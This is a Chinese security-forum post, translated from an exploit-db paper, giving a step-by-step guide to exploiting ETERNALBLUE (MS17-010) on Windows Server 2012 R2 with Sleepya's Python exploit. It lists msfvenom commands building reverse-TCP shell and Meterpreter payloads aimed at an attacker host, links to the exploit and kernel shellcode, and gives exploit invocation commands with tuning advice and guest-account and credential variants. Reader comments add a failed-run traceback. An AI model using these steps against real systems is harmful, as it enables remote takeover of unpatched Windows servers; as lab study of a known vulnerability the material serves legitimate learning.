【译】Windows2012上如何通过ETERNALBLUE攻击获得Meterpreter反弹

backlion / 2017-07-17 09:22:00 / 浏览数 6501 安全技术 技术讨论 顶(0) 踩(0)

0x00前言

□ 自4月14日影子经纪人泄漏漏洞以来，所有喜欢溯源和漏洞攻击的人都观察到这个著名的的永恒之蓝漏洞。因此，在不到两个月的时间内，出现了几份攻击的利用文档，7和Windows Server 2008 R2版本。另一方面，研究人员"Sleepya"在github上发布了一个Python版本的ETERNALBLUE，这使得在Windows Server 2012 R2能够成功利用的可能。

由于没有关于如何配置以及如何使用Sleepya的python版本利用的注释说明。一旦作者成功地进行了漏洞复原，将决定查询和写关于这个使用指南。

0x01 漏洞利用测试

搭建环境

在windows2012主机上测试：

安装全新的操作系统后，无需对其进行任何更改。 知道目标IP地址就足够了，在进行攻击的时候是主机是需要运行的。

攻击机 - GNU / Linux

可以使用任何其他linux操作系统这里笔者建议采用kali，只要在其中安装以下工具：

• NASM - http://www.nasm.us/

• Python v2.7 - https://www.python.org/download/releases/2.7/

• Metasploit Framework - https://github.com/rapid7/metasploit-framework

总结实验室所需的配置：

• Windows Server 2012 R2 x64 – IP: 10.0.2.12-------->>被攻击机

• GNU/Linux Debian x64 – IP: 10.0.2.6-------->> 攻击机

修改shellcode

第一步是修改利用eternalblue的内核shellcode代码。最后，我们将添加一个反弹的shellcode，这将是任何Metasploit的有效载荷，只要在目标上执行一次就会有效。

修改内核shellcode代码

从以下链接可以获得由Sleepya开发的内核shellcode：

https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm.

我们使用以下命令来保存.asm文件，并使用NASM来编译，其命令为：

nasm -f bin kernel_shell_x64.asm

使用msfvenom生成用户的反弹shellcode攻击载荷

Msfvenom将用于生成有效载荷，以示示例，我们将做两个不同的攻击：

第一个将通过TCP反弹处一个反向shell，而另一个是反弹一个meterpreter会话。我们将以这种方式分别生成两个有效载荷。

windows/x64/shell/reverse_tcp:

kali执行生成64位tcp反弹exp:

msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=[ATTACKER_IP] LPORT=4444**

windows/x64/meterpreter/reverse_tcp:

kali执行生成64位meterpreter反弹exp:

msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=[ATTACKER_IP] LPORT=4444

修改内核shellcode 和userland shellcode

一旦内核shellcode被编译成功，并且我们需要的Metasploit有效负载成功生成，这将是必要的步骤。 该步骤不仅仅只是附加一个shellcode与或其他的。

kernel shellcode + shell/reverse_tcp:

kernel shellcode + meterpreter/reverse_tcp:

完成两个步骤后，我们将有两个不同攻击的有效载荷可以使用

获得一个反向的shell

当然，我们将使用Sleepya的漏洞利用，我们可以从下面连接得到：

https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e.

我们应该在攻击者主机上将以.py扩展名保存，在进行此攻击之前，有必要在Metasploit上设置以在目标主机上执行接收反向shellcode的连接

现在我们将用两种不同的方法来成功攻击目标主机。

通过"guest"帐号

默认情况下，客户端帐户在Windows Server 2012 R2中处于禁用状态， 但是，如果被管理员激活，那么可以利用它来获取目标中的SYSTEM shell。第一步是使用任何文本编辑器打开exploit.py，并指出它将是用于验证的那个帐户。

如上图所示，在第42行和第43行中，我们可以自定义修改参数。

保存这些更改后，我们继续执行以下参数的漏洞利用，其命令为：

python exploit.py <ip_target> reverse_shell.bin 500

参数"500"的值对应于"numGroomConn",调整"Groom"连接的数量有助于充分利用一个连续的内核内存地址池，以便缓冲区覆盖我们需要的，并且能够正确执行shellcode
如果在影响没有收到反向连接shll时，可以进一步增加这个数字值。

可以立即在Metasploit的终端接收到反向shell：

通过用户和密码

另一种方法实现的成功条件是使用我们先前从本地用户获得的有效用户凭据。与前面的"gusest"用户实列一样，我们验证的帐户权限并不重要，它接收的终端始终是一样的

我们将再次修改exploit.py，将添加其他的用户和密码登录凭据。

以同样的方式保存和执行该漏洞：

得到相同的结果：

获得Meterpreter会话：

现在我们将做最理想的演示：

如果想获取具有管理员权限的会话，但首先需要配置Metasploit来接收反向连接的命令：

我们将指出漏洞利用身份验证，但如前所述，可以使用任何其他有效的用户帐户，将不会影响攻击结果。

我们使用以下命令执行漏洞利用：

python exploit.py <ip_target> meterpreter.bin 200

现在我们可以看到，在这种情况下，我们减少了Groom的连接为200。

漏洞exp被被正确执行，如果是没有收到反弹shell会话，我们可以尝试增加这个Groom的连接值。

立即收到了Metasploit的反弹shell:

0x02 总结

最后，我们在Windows Server 2012 R2上获得了具有管理员权限的Meterpreter shell。
几周前，作者已在exploit-db社区上的发表该漏洞利用文章，但是只写了关于Windows 7和Windows Server 2008 R2漏洞利用。
这次将发表关于windows2012的漏洞利用。

上一篇：渗透技巧：Windows平台运行M... 下一篇：【译】重踏蜜罐可视化之旅
1. 3 条回复


c0de 2017-07-18 05:24:29

0 回复Ta


ccasdad 2017-07-24 06:06:21

你好，
root@kali:~/Desktop# python eternalblue8_exploit.py 192.168.94.148 reverse_shell.bin 200
shellcode size: 1262
numGroomConn: 200
Traceback (most recent call last):
 File "eternalblue8_exploit.py", line 551, in <module>
  exploit(TARGET, sc, numGroomConn)
 File "eternalblue8_exploit.py", line 441, in exploit
  conn = smb.SMB(target, target)
 File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 2399, in init
  self._sess = nmb.NetBIOSTCPSession(my_name, remote_name, remote_host, host_type, sess_port, self.timeout)
 File "/usr/lib/python2.7/dist-packages/impacket/nmb.py", line 836, in init
  NetBIOSSession.init(self, myname, remote_name, remote_host, remote_type = remote_type, sess_port = sess_port, timeout = timeout, local_type = local_type, sock=sock)
 File "/usr/lib/python2.7/dist-packages/impacket/nmb.py", line 716, in init__
  self._sock = self._setup_connection((remote_host, sess_port))
 File "/usr/lib/python2.7/dist-packages/impacket/nmb.py", line 845, in _setup_connection
  raise socket.error("Connection error (%s:%s)" % (peer[0], peer[1]), e)
socket.error: [Errno Connection error (192.168.94.148:445)] [Errno 110] Connection timed out
这个错误该怎么解决呢

0 回复Ta

backlion 2017-07-24 08:47:01

原文英文连接：https://www.exploit-db.com/docs/42280.pdf

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板